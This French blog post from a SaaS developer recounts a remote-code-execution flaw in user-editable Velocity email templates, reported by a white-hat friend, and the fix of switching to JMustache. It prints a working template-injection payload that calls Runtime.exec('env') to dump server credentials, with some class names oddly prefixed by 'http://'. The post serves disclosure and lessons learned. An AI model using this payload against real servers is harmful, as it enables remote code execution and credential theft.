Enorme faille de sécu sur RssFeedPulse
Et non, ce titre n'est pas du clickbait. J'ai vraiment eu une énorme faille de sécurité.
Si ça vous intéresse de voir comment on peut facilement introduire une faille critique dans son code, ou comment fonctionne les white hat dans la vraie vie, c'est ici que ça se passe.
Un message inquiétant sur Twitter
Le 20 septembre, je publie un article. Et le soir même, je reçois ce message en privé :
Ok.
Que faut-il faire dans ce cas-là :
- réponse A : menacer la personne de poursuites pour tentative de chantage
- réponse B : ignorer le message, c'est sans doute un scam
- réponse C : shutdown le serveur
- réponse D : donner un accès à la personne qui envoie le message
Vous faites ce que vous voulez, mais pour ma part la personne qui m'a contacté, je le connais très bien. Il s'agit de Mickael Jeanroy. Il a été Staff Engineer chez Malt et est très investi sur la sécurité.
Bref, je lui fais une totale confiance. J'ai donc choisi la réponse D.
Verdict :
Une RCE !?
Ok, c'est donc la douche froide, il s'agit d'une RCE : Remote code execution.
C'est l'une des pires failles de sécurité qui soit, elle permet d'exécuter du code sur mon serveur.
Mais comment est-ce possible ?
Le matin, j'avais donc publié un article sur la mise en place de MJML sur RssFeedPulse. Et surtout, j'ai ajouté un éditeur de code permettant aux utilisateurs de modifier leur template.
C'est cette capture d'écran qui a alerté Mickael :
On va jouer à un jeu, je vous laisse réfléchir un instant. Qu'est-ce qui a pu mettre la puce à l'oreille de Mickael ?
Qu'est-ce que vous voyez immédiatement ?
...
...
...
...
Exact, le moteur de template !
Ah, vous l'aviez pas remarqué ? Moi non plus...
Sur la capture d'écran, on peut deviner avec la syntaxe employée que j'utilise Velocity pour afficher des variables ou itérer sur des variables.
Je l'utilise depuis le début, mais ici, avec cette nouvelle fonctionnalité, je propose aux utilisateurs de modifier le template.
Et là, c'est le drame. Et Mickael l'a tout de suite vu.
Velocity permet d'accéder à la JVM. On peut donc écrire ceci dans le template :
#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("http://java.io.InputStream"))
#set($readerClass=$stringClass.forName("http://java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("http://java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("http://java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("http://java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("env"))
#set($null=$process.waitFor() )
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())
#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))
Ces lignes permettent de faire appel à Runtime.exec et par exemple ici, d'appeler la commande env
puis de stocker le retour dans la variable output.
Ensuite, il suffit d'afficher la variable $output dans le template pour avoir accès à toutes les variables d'environnement du serveur.
Ces variables contiennent beaucoup de choses. Je suis sur un PAAS : Clever cloud. Et la façon dont Clever Cloud passe les credentials pour la base de données, ou toutes les autres propriétés sensibles de mon app, c'est via les variables d'environnement.
Autant dire que là, c'est la porte ouverte sur tous les SAAS que j'utilise.
Une correction rapide
Grâce à Mickael, j'ai pu rapidement avoir connaissance du problème et corriger évidemment.
Pour la correction, j'ai dû supprimer totalement Velocity de l'application pour le remplacer par JMustache. C'est une librairie moins puissante, mais justement, c'est ce qu'il faut ici...
Heureusement, c'est pas très long à faire et le commit a été fait dans la foulée :
Ce qu'on peut retenir de tout ça :
- Toujours garder de très bonnes relations avec ces anciens collègues, surtout ceux qui bossent dans la sécurité ^^
- Les white hat ne sont pas là pour vous faire suer
- La sécurité c'est pas juste de la théorie pour faire flipper. Cette faille aurait pu causer d'immenses dégâts
- Une fois la faille connue, il faut réagir dans la foulée. Aucune pause n'est possible
- Il faut réfléchir à toute donnée exposée sur l'interface. Certes ici, c'est pas du SQL injection mais ça s'en rapproche
Pour le dernier point, je suis passé à côté. Pourtant je suis sensible à ces sujets mais je ne me rappelais pas que Velocity permettait d'appeler Runtime.exec. C'est pas juste une question d'échappement de variables. Il ne fallait pas utiliser cette lib dans ce contexte.
Mais grâce à Micka, je suis safe.
Le Build in public, c'est dangereux !?
Maintenant ça permet d'ouvrir une discussion intéressante. Est ce que c'est bien de faire ce que je fais, c'est-à-dire de publier des articles sur ce que je construis.
Est-ce que c'est bien de faire du "build in public" ?
Est-ce que c'est pas dangereux ? Est-ce que ça ne file pas des infos aux éventuels attaquants ?
Oui et non.
Dans le cas présent, au contraire je dirais. C'est justement parce que je fais du build in public qu'un ami m'a alerté rapidement d'une connerie que j'ai pu écrire.
Mais un attaquant aurait pu aussi voir la faille et s'inscrire pour l'occasion..
Dans l'autre option, si j'en avais pas parlé dans un article de blog, Mickael ne l'aurait donc pas vu. Je serais à passer à côté et un jour, peut-être, un utilisateur malveillant aurait détecté la faille et l'aurait exploitée. Pour ça il aurait fallu qu'il paie un abonnement d'abord mais bon, c'est pas impossible comme scénario.
Donc ca laisse deux options (dans ma configuration de indie hacker solo, sinon il y a d'autres options) :
- ne pas parler de son code et compter sur une sécurité par le secret et par le fait que les utilisateurs payant ne s'aventurent pas à faire ça ?
- faire du Build in public et risquer de dévoiler des infos sensibles ?
Évidemment je mets de côté les gens qui font du build in public et qui publient littéralement des credentials. Là effectivement, c'est la grosse boulette.
Pour ma part, pour l'instant je trouve le Build In Public plus intéressant et enrichissant pour tout le monde et pour l'instant je vais continuer. Ce blog existe depuis de nombreuses années et il m'a plutôt procuré de bonnes surprises.
Mais la question reste ouverte pour tous ceux qui se lancent là-dedans (ou dans l'open source, qui inclut des questions similaires).
Et si le sujet des hacker éthique vous intéressent, n'hésitez pas à regarder la vidéo que j'ai sorti sur le sujet :
a+